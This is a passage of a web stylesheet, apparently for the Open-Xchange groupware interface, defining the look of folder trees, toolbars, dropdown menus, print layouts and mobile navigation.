.folder-tree button.contextmenu-control:not(.actions) {
  border:0;
  padding:0;
  width:2rem;
  height:2rem;
  font-size:1.5rem;
  color:var(--text-gray);
  background-color:transparent;
  border-radius:var(--default-radius);
  margin-left:auto;
  display:flex;
  align-items:center;
  justify-content:center
}
.smartphone .folder-tree button.contextmenu-control:not(.actions) {
  display:none
}
.folder-tree.visible-selection .selected:focus-within>.folder-node .contextmenu-control {
  background-color:var(--selected-background-focus-shade)
}
.folder-tree.visible-selection .contextmenu-control.actions svg.bi {
  height:14px;
  width:14px
}
.folder-tree.visible-selection button.contextmenu-control svg.bi {
  height:24px;
  width:24px
}
.folder-tree .folder-node {
  height:2rem;
  border-radius:var(--default-radius);
  display:flex
}
.folder-tree .folder-node a.account-link {
  padding:0 8px;
  vertical-align:top
}
.folder-tree .folder-node .folder-arrow {
  color:var(--text);
  display:inline-block;
  padding-inline-start:8px;
  width:28px;
  display:flex;
  align-items:center;
  flex-shrink:0
}
.folder-tree .folder-node .folder-label,
.folder-tree .folder-node .folder-counter,
.folder-tree .folder-node .folder-options,
.folder-tree .folder-node .folder-buttons,
.folder-tree .folder-node .account-link {
  font-weight:400;
  display:inline-block;
  -webkit-font-smoothing:antialiased;
  margin:0 4px;
  vertical-align:top
}
.folder-tree .folder-node .folder-label:empty,
.folder-tree .folder-node .folder-label:last-child,
.folder-tree .folder-node .folder-counter:empty,
.folder-tree .folder-node .folder-counter:last-child,
.folder-tree .folder-node .folder-options:empty,
.folder-tree .folder-node .folder-options:last-child,
.folder-tree .folder-node .folder-buttons:empty,
.folder-tree .folder-node .folder-buttons:last-child,
.folder-tree .folder-node .account-link:empty,
.folder-tree .folder-node .account-link:last-child {
  margin:0
}
.folder-tree .folder-node .folder-options {
  margin-right:0
}
.folder-tree .folder-node .folder-label {
  font-size:14px;
  flex:1;
  min-width:40px
}
.folder-tree .folder-node .folder-label:first-child {
  margin-inline-start:16px
}
.folder-tree .folder-node .folder-counter {
  color:var(--text-accent);
  font-weight:700;
  display:none;
  vertical-align:top;
  border-radius:var(--default-radius);
  min-width:24px;
  padding-inline-end:4px;
  text-align:right
}
.folder-tree .folder-node.show-counter .folder-counter {
  display:inline-block
}
.folder-tree .folder-node .folder-options {
  padding:0 12px;
  outline:0;
  display:none
}
.smartphone .folder-tree .folder-node .folder-options {
  display:inline-block
}
.smartphone .folder-tree .folder-node .folder-options:focus {
  background-color:inherit
}
.folder-tree .folder-node .folder-options:focus {
  background-color:var(--selected-background-focus)
}
.folder-tree .folder-node .folder-options:focus i {
  color:#fff
}
.folder-tree .folder-node .folder-icon {
  display:flex;
  align-items:center;
  color:var(--folder-icon);
  margin-inline-end:4px;
  font-size:18px
}
.folder-tree .folder-node .folder-icon .bi {
  width:18px;
  height:18px
}
.folder-tree .folder-node .folder-checkbox {
  display:flex;
  margin-bottom:3px;
  margin-inline-end:16px
}
.folder-tree .folder-node .folder-shared,
.folder-tree .folder-node .folder-subscribed {
  padding:0;
  margin:0 8px;
  color:var(--text-gray);
  background:transparent;
  outline:none;
  border:0
}
.folder-tree .folder-node .folder-sub {
  padding:2px;
  color:#0000004d
}
.folder-tree .subfolders {
  margin:0;
  padding:0;
  list-style-type:none;
  display:none
}
.folder-tree .folder.open>.subfolders {
  display:block
}
.folder-tree .favorites,
.folder-tree .unified-folders,
.folder-tree .standard-folders,
.folder-tree .myshares,
.folder-tree .root-folders,
.folder-tree .private-drive-folders,
.folder-tree .public-drive-folders,
.folder-tree .filestorage-folders,
.folder-tree .remote-folders,
.folder-tree .folder.section.open {
  margin-bottom:16px
}
.folder-tree .folder.section:first-child {
  margin-top:0
}
.folder-tree .folder.section>.folder-node>.folder-label {
  color:var(--text-gray);
  font-size:12px;
  font-weight:700
}
.folder-tree .folder.section.selected>.folder-node>.folder-label {
  color:var(--text)
}
.folder-tree .folder.section.selected:focus>.folder-node>.folder-label {
  color:var(--selected-focus)
}
.smartphone .folder-tree .folder.section.selected:focus>.folder-node>.folder-label {
  color:var(--text)
}
.folder-tree .selected>.folder-node>.folder-label {
  font-weight:700;
  vertical-align:top
}
.folder-tree.calendar .selected>.folder-node>.folder-label {
  font-weight:700
}
.folder-tree .links {
  list-style-type:none;
  margin:16px 0 0;
  padding:0 16px 16px 52px;
  font-size:14px;
  line-height:16px;
  font-weight:400;
  position:relative
}
.folder-tree .links a {
  text-decoration:none
}
.folder-tree .links svg.bi {
  position:absolute;
  left:28px;
  top:0;
  width:16px;
  height:16px
}
.folder-tree .links:empty {
  margin:0;
  padding:0
}
.folder-tree .links ul {
  margin-top:-1px;
  padding-bottom:1px
}
.folder-tree .folder.section+.links {
  margin:16px 0 16px 32px;
  padding:0;
  line-height:1.5rem
}
.folder-tree .folder.section+.links:empty {
  margin:0
}
.mobile-edit-mode .folder-tree .selectable[data-contextmenu] .folder-label {
  color:var(--text);
  text-decoration:underline
}
.io-ox-dialog-popup .has-error .btn-new-account {
  color:#a94442;
  border-color:#a94442;
  box-shadow:inset 0 1px 1px #00000013
}
.window-sidepanel .folder-tree.visible-selection .folder.selected>.folder-node {
  background-color:var(--sidepanel-selected-background)
}
.window-sidepanel .folder-tree.visible-selection .folder.selected>.folder-node * {
  color:var(--sidepanel-selected)
}
.window-sidepanel .folder-tree.visible-selection .folder.selectable>.folder-node:hover,
.window-sidepanel .folder-tree.visible-selection .folder .selectable.dnd-over>.folder-node {
  background-color:var(--sidepanel-selectable-background-hover)
}
.window-sidepanel .folder-tree.visible-selection .folder.selected>.folder-node:hover {
  background-color:var(--sidepanel-selected-background-hover)
}
.window-sidepanel .folder-tree.visible-selection .folder.selectable:focus>.folder-node {
  background-color:var(--sidepanel-selected-background-focus)
}
.window-sidepanel .folder-tree.visible-selection .folder.selectable:focus>.folder-node * {
  color:var(--sidepanel-selected-focus)
}
.window-sidepanel .folder-tree.visible-selection .folder.selectable:focus>.folder-node .folder-counter {
  color:var(--sidepanel-selected-focus)
}
.window-sidepanel .folder-tree.visible-selection .folder.selected:focus-within>.folder-node .contextmenu-control {
  background-color:var(--sidepanel-selected-background-focus-shade)
}
html .window-sidebar button.btn.current {
  color:var(--sidepanel-selected);
  background-color:var(--sidepanel-selected-background)
}
.smartphone .folder-tree {
  padding:0
}
.smartphone .folder-tree .folder {
  line-height:48px
}
.smartphone .folder-tree .folder-icon {
  float:left
}
.smartphone .folder-tree .folder-node {
  height:48px;
  border-radius:unset
}
.smartphone .folder-tree .folder-node .folder-label,
.smartphone .folder-tree .folder-node .folder-counter,
.smartphone .folder-tree .folder-node .folder-options {
  font-size:15px
}
.smartphone .folder-tree .folder-node .folder-label {
  max-width:320px;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap
}
.smartphone .folder-tree .folder-node .folder-buttons {
  vertical-align:top
}
.smartphone .folder-tree li[data-id="virtual/settings"] .folder-node {
  height:initial;
  line-height:2rem;
  padding:4px 0
}
.smartphone .folder-tree li[data-id="virtual/settings"] .folder-node .folder-label {
  max-width:280px
}
.smartphone .folder-tree .folder.section+.links {
  margin-left:0
}
.smartphone .folder-tree .links {
  font-size:16px;
  padding-left:0
}
.smartphone .folder-tree .links a {
  margin-bottom:8px
}
.smartphone .folder-tree .flat-tree .folder-label {
  min-width:160px
}
.smartphone .folder-tree .flat-tree .selected>.folder-node>.folder-label {
  width:160px
}
.fadein {
  perspective:1000;
  backface-visibility:hidden;
  animation:fadein .3s
}
.fadein.fast {
  animation:fadein .15s
}
.fadeout {
  perspective:1000;
  backface-visibility:hidden;
  animation:fadeout .3s
}
.fadeout.fast {
  animation:fadeout .15s
}
@keyframes fadein {
  0% {
    opacity:0
  }
  to {
    opacity:1
  }
}
@keyframes fadeout {
  0% {
    opacity:1
  }
  to {
    opacity:0
  }
}
.legacy-chrome .animate-moveleft {
  transform:none;
  transition-property:none;
  transition-duration:none;
  left:0
}
.legacy-chrome .animate-moveright {
  transform:none;
  transition-property:none;
  transition-duration:none;
  left:90%
}
@media (max-width: 540px) and (orientation: portrait),(max-height: 540px) and (orientation: landscape) {
  .animate-moveright {
    transform:translate(90%);
    transition-property:transform;
    transition-duration:.3s
  }
  .animate-moveleft {
    transform:translate(0);
    transition-property:transform;
    transition-duration:.3s
  }
}
.statistics {
  position:static;
  overflow:auto
}
.statistics.modal-body {
  padding:28px 28px 0
}
.statistics h1.folder-name {
  font-size:24px;
  text-transform:uppercase;
  margin:0 0 24px
}
.statistics header,
.statistics section {
  margin:0 0 28px
}
.statistics header:last-child,
.statistics section:last-child {
  margin-bottom:0
}
.statistics .folder-summary {
  color:#888
}
.statistics .folder-actions {
  margin-top:14px
}
.statistics h2 {
  font-size:20px;
  line-height:24px;
  font-weight:300;
  margin:0 0 14px
}
.statistics ul.compact li a.disabled,
.statistics ul.compact li.divider {
  display:none
}
.statistics canvas {
  margin-bottom:10px
}
.io-ox-inline-links {
  font-size:14px;
  font-weight:400;
  margin:18px 0;
  clear:both;
  user-select:none;
  -webkit-user-select:none;
  min-height:20px
}
.io-ox-inline-links a:hover {
  text-decoration:none
}
.io-ox-inline-links>li {
  display:inline-block;
  white-space:nowrap;
  margin-right:22px;
  list-style-type:none
}
.io-ox-inline-links.embedded {
  margin:1em 0;
  text-align:right
}
.io-ox-inline-links.embedded .io-ox-action-link {
  margin:0 0 0 22px
}
.io-ox-inline-links.empty {
  padding:0;
  min-height:0
}
.io-ox-inline-links>a,
.io-ox-inline-links>li.dropdown {
  color:var(--link);
  text-decoration:none
}
.io-ox-inline-links>a:hover,
.io-ox-inline-links>li.dropdown:hover {
  text-decoration:none
}
.io-ox-inline-links>a li,
.io-ox-inline-links>li.dropdown li {
  margin-right:0
}
.io-ox-inline-links li.dropdown ul {
  text-align:left
}
.io-ox-inline-links li.dropdown .caret {
  margin-right:5px
}
ul.io-ox-inline-links+header {
  position:relative;
  z-index:2
}
.io-ox-inline-buttongroup {
  font-size:14px;
  font-weight:400;
  margin:18px 0;
  clear:both;
  user-select:none;
  -webkit-user-select:none;
  min-height:20px
}
.io-ox-inline-buttongroup>li {
  display:inline-block;
  white-space:nowrap;
  margin-right:22px;
  list-style-type:none
}
.io-ox-inline-buttongroup.embedded {
  margin:1em 0;
  text-align:right
}
.io-ox-inline-buttongroup.embedded .io-ox-action-link {
  margin:0 0 0 22px
}
.io-ox-inline-buttongroup.empty {
  padding:0;
  min-height:0
}
.io-ox-inline-buttongroup>a,
.io-ox-inline-buttongroup>li.dropdown {
  color:var(--link);
  text-decoration:none
}
.io-ox-inline-buttongroup>a:hover,
.io-ox-inline-buttongroup>li.dropdown:hover {
  text-decoration:none
}
.io-ox-inline-buttongroup>a li,
.io-ox-inline-buttongroup>li.dropdown li {
  margin-right:0
}
.io-ox-inline-buttongroup li.dropdown ul {
  text-align:left
}
.io-ox-inline-buttongroup li.dropdown .caret {
  margin-right:5px
}
.io-ox-inline-buttongroup .io-ox-action-link {
  margin-right:0
}
.io-ox-inline-buttongroup a:hover {
  text-decoration:none
}
.io-ox-action-link.btn-primary {
  color:#fff;
  font-weight:400
}
.io-ox-action-link.btn-primary:hover {
  text-decoration:none
}
.io-ox-action-link.disabled {
  color:#aaa;
  cursor:not-allowed
}
.io-ox-action-link:last-child {
  margin-right:0
}
.multi-selection-message .message {
  color:var(--text-gray);
  font-size:14px;
  text-align:center
}
.multi-selection-message .message .number {
  font-weight:700;
  font-size:20px
}
.multi-selection-message .inline-actions {
  font-size:14px;
  font-weight:400;
  margin:32px auto 0;
  max-width:500px;
  padding:16px;
  background-color:var(--background-a50);
  border:2px solid var(--accent-300);
  border-radius:6px
}
.io-ox-multi-selection .box {
  width:300px;
  max-width:500px;
  margin:0 auto;
  text-align:left;
  display:table
}
.io-ox-multi-selection .summary {
  font-size:28px;
  font-weight:300;
  line-height:1.2em;
  color:#ccc
}
.io-ox-multi-selection .summary.empty {
  font-size:14px;
  color:#767676;
  font-weight:400
}
.io-ox-multi-selection .summary b {
  color:#aaa
}
.io-ox-multi-selection .io-ox-inline-links {
  margin:28px 0
}
.io-ox-multi-selection .io-ox-inline-links a {
  color:var(--toolbar)
}
.io-ox-multi-selection .io-ox-inline-links.empty {
  display:none
}
.io-ox-multi-selection .io-ox-action-link {
  display:block
}
.io-ox-multi-selection .io-ox-action-link.disabled {
  display:none
}
.inline-buttons {
  margin:13px 0;
  height:30px
}
.inline-buttons.top {
  margin-top:0
}
.inline-buttons .btn {
  float:right;
  margin-left:13px
}
a.attachment-link {
  color:var(--text);
  word-break:break-all
}
a.attachment-link:hover {
  color:var(--text-gray-hover)
}
.toolbar-button {
  font-size:22px;
  line-height:52px;
  margin:4px 0 8px;
  display:block
}
.toolbar-button ul {
  font-size:14px;
  line-height:20px
}
.toolbar-button>a {
  width:50px;
  text-align:center;
  height:52px;
  display:inline-block;
  outline:0
}
.toolbar-button>a i {
  color:var(--toolbar)
}
.toolbar-button>a i.accent-color {
  color:#fff;
  background-color:var(--text-accent);
  border:2px solid var(--text-accent);
  width:29px;
  border-radius:var(--default-radius);
  padding-top:2px;
  display:inline-block
}
.toolbar-button>a:hover {
  text-decoration:none!important
}
.toolbar-button>a:hover i {
  color:var(--toolbar);
  text-decoration:none
}
.toolbar-button>a:hover i.accent-color {
  background-color:var(--text-accent);
  border-color:var(--text-accent)
}
@media (min-width: 541px),(min-device-width: 541px) {
  .toolbar-button>a:focus {
    color:var(--focus);
    text-decoration:none;
    background-color:var(--focus-500)
  }
  .toolbar-button>a:focus i {
    color:var(--focus);
    text-decoration:none
  }
  .toolbar-button>a:focus i.accent-color {
    background-color:var(--focus-500);
    border-color:var(--focus-500)
  }
}
.toolbar-button>a.disabled i {
  color:var(--gray-10);
  cursor:default
}
.toolbar-button>a.disabled i.accent-color {
  background-color:#fff;
  border-color:#fff
}
.btn.btn-toolbar {
  border:0;
  margin-left:0;
  color:var(--toolbar);
  background-color:transparent;
  border-radius:var(--default-radius);
  box-shadow:none;
  transition:none
}
.btn.btn-toolbar.bg-dark {
  background-color:var(--background-5)
}
.btn.btn-toolbar:hover {
  background-color:var(--shade-a5)
}
.btn.btn-toolbar:focus {
  outline:0;
  box-shadow:none
}
.btn.btn-toolbar:focus-visible {
  color:var(--focus);
  background-color:var(--focus-500);
  box-shadow:0 0 0 4px var(--btn-primary-outline)
}
.btn.btn-toolbar:focus-visible>.text-gray {
  color:var(--focus)
}
.btn.btn-toolbar.disabled:focus-visible {
  color:var(--text-gray);
  background-color:var(--background-100);
  box-shadow:none
}
.smartphone #io-ox-appcontrol {
  width:100%;
  height:64px
}
.smartphone #io-ox-appcontrol .actions {
  flex-grow:1
}
.smartphone #io-ox-appcontrol .mobile-toolbar {
  gap:4px
}
.smartphone #io-ox-appcontrol .mobile-toolbar .inline-toolbar {
  margin-top:0;
  margin-inline-start:0;
  display:flex;
  gap:4px
}
.smartphone #io-ox-appcontrol .mobile-toolbar .inline-toolbar li {
  margin-inline-end:0
}
.smartphone #io-ox-appcontrol .mobile-toolbar .inline-toolbar .btn.btn-toolbar {
  width:48px;
  height:48px;
  font-size:18px;
  padding:0;
  position:relative;
  color:var(--topbar-icon)
}
.smartphone #io-ox-appcontrol .mobile-toolbar .inline-toolbar .btn-primary {
  margin:6px 0;
  margin-inline-start:4px
}
.smartphone #io-ox-appcontrol .toolbar-content {
  width:100%
}
.smartphone #app-navigation {
  background:var(--topbar-background);
  gap:8px;
  margin:0;
  z-index:10
}
.smartphone #app-navigation li {
  font-size:1rem;
  width:25%
}
.smartphone #app-navigation li button {
  padding:6px 0;
  width:100%;
  position:relative
}
.smartphone #app-navigation li button.btn.btn-toolbar {
  color:var(--topbar-icon)
}
.smartphone #app-navigation li button.btn.btn-toolbar:focus-visible {
  color:var(--focus)
}
.smartphone #app-navigation li button.btn.btn-toolbar.active,
.smartphone #app-navigation li button.btn.btn-toolbar.active:hover {
  color:var(--sidepanel-selected);
  background-color:var(--navbar-button-background)
}
.smartphone #app-navigation li button.btn.btn-toolbar.active:focus-visible {
  color:var(--focus);
  background-color:var(--focus-500)
}
.smartphone #app-navigation li button.btn:focus-visible {
  box-shadow:none
}
.smartphone #app-navigation li button svg {
  height:18px;
  width:18px
}
.smartphone #app-navigation li button .icon-label {
  font-size:.625rem
}
.smartphone #app-navigation li button .indicator {
  top:6%;
  left:64%
}
.smartphone #app-navigation .list-unstyled>li,
.smartphone #app-navigation .io-ox-action-link.mobile-toolbar-action {
  display:inline-block;
  font-size:22px;
  line-height:64px;
  width:19.9%;
  height:64px;
  text-align:center;
  margin:0;
  vertical-align:middle
}
.smartphone #app-navigation .list-unstyled>li.text-button,
.smartphone #app-navigation .io-ox-action-link.mobile-toolbar-action.text-button {
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
  font-size:18px
}
.smartphone #app-navigation .inline-toolbar {
  margin:0;
  display:flex;
  align-items:center;
  justify-content:space-between;
  flex-direction:row;
  height:48px
}
.smartphone #app-navigation .inline-toolbar>li {
  width:20%;
  height:100%;
  margin:0
}
.smartphone #app-navigation .inline-toolbar>li>a,
.smartphone #app-navigation .inline-toolbar>li button {
  display:flex;
  justify-content:center;
  align-items:center;
  height:100%;
  width:100%;
  font-size:16px
}
.smartphone #app-navigation .inline-toolbar>li>a:focus:not(.disabled),
.smartphone #app-navigation .inline-toolbar>li button:focus:not(.disabled) {
  background:transparent;
  color:var(--toolbar)
}
.smartphone #app-navigation .inline-toolbar>li>a.disabled,
.smartphone #app-navigation .inline-toolbar>li button.disabled {
  text-decoration:none
}
.smartphone #app-navigation .inline-toolbar>li>a.disabled:focus,
.smartphone #app-navigation .inline-toolbar>li button.disabled:focus {
  background:transparent
}
.smartphone #app-navigation .inline-toolbar .dropdown {
  line-height:auto
}
.smartphone .left-action {
  overflow:hidden
}
.smartphone .left-action button {
  width:100%;
  height:40px;
  font-size:1rem;
  color:var(--topbar-icon);
  padding:6px 0
}
.smartphone .left-action button.edit {
  padding-left:4px
}
.smartphone .left-action button svg {
  flex-shrink:0;
  margin-right:8px
}
.bottom-toolbar.bottom-toolbar-visible .window-content {
  bottom:40px
}
ul.classic-toolbar {
  display:flex;
  position:absolute;
  top:0;
  left:0;
  height:40px;
  width:100%;
  margin:0;
  padding:0;
  user-select:none;
  -webkit-user-select:none
}
ul.classic-toolbar>li {
  display:flex;
  flex-direction:column;
  list-style:none;
  padding:0;
  height:100%
}
ul.classic-toolbar>li>a.upsell i.upsell-icon {
  color:#ffc107;
  margin-left:4px;
  font-size:14px
}
ul.classic-toolbar>li>a,
ul.classic-toolbar>li>button {
  height:100%;
  display:inline-block;
  padding:0 16px;
  display:flex;
  align-items:center;
  border-radius:var(--default-radius);
  white-space:nowrap;
  text-decoration:none;
  outline:0
}
ul.classic-toolbar>li>a i,
ul.classic-toolbar>li>button i {
  text-decoration:none
}
ul.classic-toolbar>li>a:focus,
ul.classic-toolbar>li>button:focus {
  background-color:var(--grey-50);
  text-decoration:none
}
ul.classic-toolbar>li>a:focus:focus-visible,
ul.classic-toolbar>li>button:focus:focus-visible {
  color:var(--focus);
  background-color:var(--focus-500)
}
ul.classic-toolbar>li>a.disabled,
ul.classic-toolbar>li>button.disabled {
  color:var(--text-disabled);
  cursor:not-allowed
}
@media (max-width: 580px) {
  ul.classic-toolbar>li>a,
  ul.classic-toolbar>li>button {
    padding:8px 14px
  }
}
ul.classic-toolbar>li>button {
  font-size:13px;
  text-align:left
}
ul.classic-toolbar>li.pull-right {
  margin-left:auto
}
ul.classic-toolbar>li.pull-right>.dropdown-menu {
  right:4px
}
.align-right>ul.classic-toolbar {
  display:flex
}
.align-right>ul.classic-toolbar li.align-left+li:not(.align-left) {
  margin-left:auto
}
ul.classic-toolbar {
  padding-left:8px
}
.classic-toolbar-container {
  height:40px;
  position:relative
}
.inline-toolbar {
  padding:0;
  margin-top:4px;
  margin-bottom:0;
  margin-inline-start:-8px;
  min-height:32px;
  clear:both;
  user-select:none;
  -webkit-user-select:none
}
.inline-toolbar>li {
  display:inline-block;
  white-space:nowrap;
  margin-inline-end:8px;
  list-style-type:none
}
.inline-toolbar>li:last-child {
  margin-inline-end:0
}
.inline-toolbar>li>a,
.inline-toolbar>li>button {
  padding:8px;
  display:flex;
  border-radius:var(--default-radius)
}
.inline-toolbar>li>a:focus,
.inline-toolbar>li>button:focus {
  background-color:var(--grey-50);
  text-decoration:none;
  outline:0
}
.inline-toolbar>li>a:focus:focus-visible,
.inline-toolbar>li>button:focus:focus-visible {
  color:var(--focus);
  background-color:var(--focus-500)
}
.inline-toolbar>li a.disabled {
  color:var(--shade-a20);
  cursor:not-allowed
}
.window-toolbar>ul {
  margin:0
}
.window-toolbar>a {
  color:var(--toolbar);
  display:inline-block;
  margin:0 1em 0 0;
  cursor:pointer;
  white-space:nowrap;
  text-decoration:none;
  outline:0
}
.window-toolbar .dropdown-menu {
  text-align:left
}
.window-toolbar .dropdown-menu a {
  margin-right:0
}
.touch .window-toolbar a {
  outline:0
}
.window-toolbar .btn {
  font-size:13px
}
.window-toolbar .btn-group+.btn-group {
  margin-left:15px
}
.window-toolbar .btn-primary+.btn-primary {
  margin-left:10px
}
.window-toolbar a.btn-primary,
.window-toolbar a.btn-primary:hover {
  color:#fff;
  font-size:13px;
  line-height:18px;
  text-decoration:none
}
.window-toolbar a:hover,
.window-toolbar a.button:hover {
  text-decoration:underline
}
.generic-toolbar {
  width:100%;
  height:2.5rem;
  padding:0 8px;
  margin:0;
  font-size:14px
}
.generic-toolbar.top {
  margin-bottom:8px
}
.generic-toolbar.bottom {
  display:flex;
  justify-content:space-between;
  bottom:0;
  z-index:1
}
.generic-toolbar .toolbar-item {
  display:flex;
  align-items:center;
  color:#333;
  line-height:39.9375px;
  padding:0 16px;
  text-decoration:none
}
.generic-toolbar .btn.btn-toolbar svg {
  width:14px;
  height:14px
}
.generic-toolbar .btn.btn-toolbar svg.bi-three-dots {
  width:18px;
  height:18px
}
.generic-toolbar .io-ox-context-help {
  display:flex;
  align-items:center;
  padding-left:16px;
  padding-right:16px;
  color:var(--text-gray);
  width:40px
}
.generic-toolbar .btn.btn-toolbar {
  width:40px
}
.generic-toolbar.visual-focus .toolbar-item {
  outline:0
}
.generic-toolbar.visual-focus .toolbar-item:hover {
  color:#555;
  background-color:#0000000d
}
.generic-toolbar.visual-focus .toolbar-item:focus {
  color:#fff;
  background-color:var(--focus-500)
}
.generic-toolbar .toolbar-item.pull-right>.dropdown-menu {
  right:4px
}
.generic-toolbar.toolbar-small {
  height:30px;
  line-height:29px
}
.generic-toolbar.toolbar-small .toolbar-item {
  line-height:29px
}
.generic-toolbar .folder-info {
  padding-left:8px;
  line-height:1.2em
}
.generic-toolbar .folder-info .folder-count {
  line-height:normal
}
.generic-toolbar .folder-name {
  font-size:1rem;
  font-weight:700;
  line-height:1.25rem
}
.secondary-toolbar {
  font-size:13px;
  overflow:hidden
}
@media (max-width: 540px) and (orientation: portrait),(max-height: 540px) and (orientation: landscape) {
  .toolbar-button {
    margin:0
  }
  #multi-select-toolbar .select-counter {
    margin-left:15px;
    font-weight:700;
    color:#aaa
  }
}
@media print {
  .atb,
  .rightside.selection-one,
  .rightside.selection-empty {
    position:static
  }
  .window-body {
    left:0!important
  }
  #io-ox-screens,
  .abs.window-content {
    top:0!important
  }
  #io-ox-appcontrol,
  #io-ox-topbar,
  .window-sidepanel,
  .categories-toolbar-container,
  .classic-toolbar-container,
  .leftside.selection-one,
  .leftside.selection-empty,
  .back-navigation,
  ul.actions,
  .toggle-all,
  .contact-picture,
  .unread-toggle,
  .show-all-recipients,
  .io-ox-alert {
    display:none!important
  }
  .rightside.selection-empty .thread-view-list,
  .rightside.selection-one .thread-view-list,
  .rightside.selection-one,
  .rightside.selection-empty {
    padding:0!important;
    overflow:visible!important
  }
  .rightside.selection-empty .thread-view.list-view .list-item,
  .rightside.selection-one .thread-view.list-view .list-item {
    margin-bottom:0;
    border-bottom:1px solid #ddd
  }
  .rightside.selection-empty .detail-view-header,
  .rightside.selection-one .detail-view-header {
    padding-left:16px!important
  }
  .rightside.selection-empty .detail-view-header .recipients .io-ox-label,
  .rightside.selection-empty .detail-view-header .recipients .person-link,
  .rightside.selection-empty .detail-view-header .recipients .delimiter,
  .rightside.selection-one .detail-view-header .recipients .io-ox-label,
  .rightside.selection-one .detail-view-header .recipients .person-link,
  .rightside.selection-one .detail-view-header .recipients .delimiter {
    display:inline-block!important
  }
  .rightside.selection-multiple {
    display:none!important
  }
  .leftside.selection-multiple {
    position:static!important;
    width:100%!important;
    border-right:none!important
  }
  .leftside.selection-multiple .toolbar,
  .leftside.selection-multiple .list-item,
  .leftside.selection-multiple .list-item-checkmark {
    display:none!important
  }
  .leftside.selection-multiple .list-item.selected {
    display:block!important;
    padding-left:16px;
    padding-right:16px
  }
  .io-ox-mail-window .abs,
  .io-ox-mail-window .window-container,
  .io-ox-mail-window .window-body {
    position:static
  }
  .io-ox-contacts-window .leftside,
  .io-ox-tasks-window .leftside {
    display:none!important
  }
  .io-ox-contacts-window .rightside,
  .io-ox-tasks-window .rightside {
    left:0!important
  }
}
.dropdown a>svg {
  color:inherit
}
.dropdown span.dropdown-label {
  padding-right:2px
}
.dropdown-menu.dropdown-right {
  right:4px;
  left:auto
}
.dropdown-menu.dropdown-right-side {
  top:15%;
  left:42px
}
.dropdown-menu>li>a:focus,
.dropdown-menu>[role=group]>li>a:focus {
  color:var(--selected-focus);
  background-color:var(--selected-background-focus);
  outline:0
}
.dropdown-menu>[role=group]>li>a:hover {
  text-decoration:none;
  color:#1e2125;
  background-color:#e9ecef
}
.dropdown-menu>li>a,
.dropdown-menu>[role=group]>li>a {
  display:block;
  padding:3px 20px;
  clear:both;
  font-weight:400;
  line-height:1.42857143;
  color:#333;
  white-space:nowrap
}
.dropdown-menu>li i.upsell-icon {
  color:#ffc107;
  margin-left:4px;
  font-size:14px
}
.dropdown-menu-right>li>li.io-ox-upsell-link>a {
  padding:3px 20px;
  white-space:nowrap
}
.dropdown-header,
.dropdown-footer {
  display:block;
  cursor:default;
  max-width:230px;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap
}
.dropdown-header {
  display:block;
  padding:3px 20px;
  font-size:12px;
  line-height:1.42857143;
  color:#767676
}
.dropdown-header.dropdown-description {
  min-width:200px;
  white-space:normal;
  cursor:pointer
}
.dropdown-footer {
  padding:6px 20px 3px;
  border-top:1px solid #ddd;
  margin-top:6px
}
.dropdown li {
  display:block;
  text-shadow:none
}
.dropdown li a:not(.folder-default-color) .checkbox-color:not(.color-label) {
  width:1em;
  margin-right:1em;
  border-radius:3px
}
.dropdown li small {
  font-size:12px;
  color:#777
}
.dropdown a:hover,
.dropdown a:focus {
  text-decoration:none
}
.dropdown a b.caret {
  color:#333
}
.dropdown button.btn-default .fa-caret-down,
.dropdown button.btn-link .fa-caret-down {
  color:var(--gray-400)
}
.dropdown-menu {
  text-align:start
}
.dropdown-menu [role=menuitemcheckbox] .checkmark {
  width:20px;
  height:20px;
  background-size:18px;
  margin-inline-end:4px
}
.dropdown-menu [role=menuitemcheckbox][aria-checked=true] .checkmark {
  background:var(--checkbox-svg-inverted)
}
.dropdown-menu [role=menuitemradio] .checkmark {
  width:16px;
  height:16px;
  border-radius:50%;
  background-color:var(--shade-a10);
  margin-inline-end:8px
}
.dropdown-menu [role=menuitemradio][aria-checked=true] .checkmark {
  background:var(--radio-svg);
  background-color:var(--accent)
}
ul.dropdown-menu li a.disabled {
  color:var(--text-disabled)
}
.context-dropdown {
  position:fixed;
  inset:0;
  z-index:10000;
  background-color:#ffffff03;
  display:none
}
.context-dropdown.dropdown {
  position:fixed
}
.context-dropdown .dropdown-toggle {
  outline:0
}
.context-dropdown.open {
  display:block
}
.context-dropdown.open .dropdown-toggle {
  position:absolute;
  width:1px;
  height:1px;
  padding:0;
  margin:-1px;
  overflow:hidden;
  clip:rect(0,0,0,0);
  border:0
}
.context-dropdown .dropdown-menu {
  position:absolute;
  top:100px;
  left:100px;
  z-index:10001
}
.context-dropdown .dropdown-menu.io-ox-busy {
  min-height:100px
}
.dropdown-menu:empty,
.dropdown-menu .divider:first-child,
.dropdown-menu .divider:last-child,
.dropdown-menu .divider+.divider {
  display:none
}
.has-detail {
  display:flex
}
.smartphone .has-detail:first-child {
  border-top-left-radius:12px;
  border-top-right-radius:12px
}
.smart-dropdown-container .smart-dropdown-backdrop {
  z-index:1
}
.smart-dropdown-container ul {
  z-index:2;
  overflow-y:auto;
  overflow-x:hidden
}
.tt-dropdown-menu {
  max-height:200px;
  overflow-x:hidden;
  overflow-y:auto;
  background-color:var(--background)
}
.autocomplete-item .contact-image {
  margin-right:14px;
  display:inline-block;
  float:left;
  width:42px;
  height:42px;
  background-repeat:no-repeat;
  background-position:center center;
  background-size:cover;
  border-radius:50%
}
.autocomplete-item .recipient-name {
  font-weight:700
}
.autocomplete-item .recipient-name,
.autocomplete-item .email {
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap
}
.drag-helper {
  position:absolute;
  z-index:65000;
  width:360px;
  height:48px;
  line-height:48px;
  color:var(--text);
  background-color:var(--background);
  padding:0 14px 0 62px;
  border-radius:var(--default-radius);
  box-shadow:0 4px 12px #00000080;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap
}
.drag-counter {
  position:absolute;
  top:0;
  bottom:0;
  left:0;
  width:48px;
  text-align:center;
  font-weight:700;
  color:#fff;
  background-color:var(--accent);
  border-radius:var(--default-radius) 0 0 var(--default-radius)
}
.dndmask {
  position:absolute!important;
  top:0!important;
  left:0!important;
  opacity:0!important;
  width:100%!important;
  height:100%!important;
  z-index:1!important
}
.inplace-dropzone {
  margin:7px;
  border:2px dashed hsla(var(--shade-base),20%);
  background-color:var(--background);
  position:relative
}
.inplace-dropzone.abs {
  position:absolute;
